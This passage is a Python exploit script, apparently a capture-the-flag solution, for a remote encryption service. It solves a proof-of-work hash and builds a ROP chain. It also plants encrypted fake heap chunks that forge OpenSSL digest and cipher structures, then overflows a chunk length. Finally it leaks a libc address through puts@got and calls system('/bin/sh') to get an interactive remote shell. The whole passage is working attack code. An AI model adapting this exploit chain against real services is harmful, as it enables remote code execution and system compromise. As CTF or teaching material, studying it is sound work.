chain = b"\x00" * 0x14 ## padding between iv and chain (add esp, 0x1c)
chain += p(0x61616161) ## ebx
chain += p(0x62626262) ## esi
chain += p(0x63636363) ## edi
chain += p(0x64646464) ## ebp
chain += p(0x08048960) ## puts@plt
chain += p(0x080495F9) ## pop edi; ret
chain += p(0x0804C034) ## puts@got
chain += p(0x08048A30) ## scanf@plt
chain += p(0x08048ee2) ## pop edi; pop ebp; ret
chain += p(0x08049B93) ## string with %s
chain += p(0x08059930) ## target for scanf (stack will be right here later)
assert len(key) == 32
sock = socket.socket()
sock.connect(saddr)
sock.settimeout(4)
if not local:
## solve hash
r = b''
while True:
r += sock.recv(4096)
if b'Magic word? ' in r:
break
#print(r)
m = re.search(b'starts with ([a-f0-9]+) and is ([0-9]+)',r)
word =m.group(1)
l = int(m.group(2))
print("[+] Solving hash for {} with length {}".format(word.decode(), l))
t = '0123456789abcdef'
for x in itertools.product(t,repeat=(l-len(word))):
mw = word+''.join(x).encode()
h = hashlib.sha256(mw).hexdigest()
if h[0:6]=='ffffff' and int(h[6:8],16) > 0xef:
break
print(h,mw,len(mw))
sock.sendall(mw)
until(sock, b"5. Display data")
print("[+] Placing key in memory ...")
sock.send(b'0\n') ## load_data
until(sock, b"How many bytes is the data?")
sock.send("{}\n".format(len(key)).encode())
sock.send("{}\n".format(key_chunk).encode())
sock.send(binascii.hexlify(key) + b"\n")
until(sock, b"5. Display data")
print("[+] Placing iv and ROP chain in memory ...")
sock.send(b'0\n') ## load_data
until(sock, b"How many bytes is the data?")
sock.send("{}\n".format(len(iv + chain)).encode())
sock.send("{}\n".format(iv_chunk).encode())
sock.send(binascii.hexlify(iv + chain) + b"\n")
until(sock, b"5. Display data")
print("[+] Placing encrypted fake chunk ...")
pwn = b""
pwn += p(0x1ab) ## place fake md_struct here
pwn += p(0x10)
pwn += p(0x20)
pwn += p(0x10)
pwn += p(0x101002) ## set EVP_CIPH_FLAG_CUSTOM_CIPHER
#pwn += p(0x1002)
pwn += p(0x41414141)
#pwn += p(0x42424242)
#pwn += p(0x08048FF6) ## getline
#pwn += p(0x41414141)
pwn += p(0x08048c38)
pwn += p(0)
pwn += p(0xfc)
pwn += p(0x43434343) * 7
while len(pwn) < 0x800:
pwn += b"D"
pwn += b"\x00" * 0x98
pwn += p(0x805b8e0)
pwn += b"G" * 0x90
pwn += p(0x805b8e0 + 0x40)
while len(pwn) < 0x15ff:
pwn += b"E"
while len(pwn) & 0xf:
pwn += b'F'
aes = AES.new(key, AES.MODE_CBC, iv)
pwn = aes.encrypt(pwn)
sock.send(b'0\n') ## load_data
until(sock, b"How many bytes is the data?")
sock.send("{}\n".format(0x800).encode())
sock.send("{}\n".format(fake_chunk).encode())
sock.send(binascii.hexlify(pwn[:0x800]) + b'\n')
until(sock, b"5. Display data")
sock.send(b'0\n') ## load_data
until(sock, b"How many bytes is the data?")
sock.send("{}\n".format(0x800).encode())
sock.send("{}\n".format(fake_chunk + 1).encode())
sock.send(binascii.hexlify(pwn[0x800:][:0x800]) + b'\n')
until(sock, b"5. Display data")
sock.send(b'0\n') ## load_data
until(sock, b"How many bytes is the data?")
sock.send("{}\n".format(len(pwn) - 2 * 0x800).encode())
sock.send("{}\n".format(fake_chunk + 2).encode())
sock.send(binascii.hexlify(pwn[2 * 0x800:]) + b'\n')
until(sock, b"5. Display data")
print("[+] Overwriting length of chunk 2 ...")
sock.send(b'0\n') ## load_data
until(sock, b"How many bytes is the data?")
sock.send("{}\n".format(0x800).encode())
sock.send("{}\n".format(ovf_chunk).encode())
sock.send(b"41" * 0x800 + b"\n")
until(sock, b"5. Display data")
sock.send(b'3\n') ## encrypt_data
until(sock, b"What type of cipher would you like to perform?\n")
sock.send(b"aes-256-cbc\n")
until(sock, b"For your input, ")
sock.send("{}\n".format(ovf_chunk).encode())
until(sock, b"For your output, ")
sock.send("{}\n".format(ovf_chunk).encode())
until(sock, b"For your key, ")
sock.send("{}\n".format(key_chunk).encode())
until(sock, b"For your iv, ")
sock.send("{}\n".format(iv_chunk).encode())
until(sock, b"5. Display data")
print("[+] Hijacking md_ctxt and cipher_ctxt structs ...")
sock.send(b'4\n') ## decrypt_data
until(sock, b"What type of cipher would you like to perform?\n")
sock.send(b"aes-256-cbc\n")
until(sock, b"For your input, ")
sock.send("{}\n".format(2).encode())
until(sock, b"For your output, ")
sock.send("{}\n".format(ovf_chunk).encode())
until(sock, b"For your key, ")
sock.send("{}\n".format(key_chunk).encode())
until(sock, b"For your iv, ")
sock.send("{}\n".format(iv_chunk).encode())
libc = struct.unpack("<I", sock.recv(4))[0] - puts_offset
print("[+] libc @ {:08x}".format(libc))
## yes, this is stage 3 ...
pwn = b''
pwn += p(libc + system_offset)
pwn += p(0x65656565) # fake ret addr for scanf
pwn += p(0x0805993c) # -----.
# | this happily, reliably points here, everything is
# | deterministic by now
pwn += b"/bin/sh\x00" # <-'
pwn += b" and is %d characters long.\n" ## make the last scanf happy ;)
print("[+] Shell incoming ...")
sock.send(pwn)
sock.recv(64)
t = telnetlib.Telnet()
t.sock = sock
t.interact()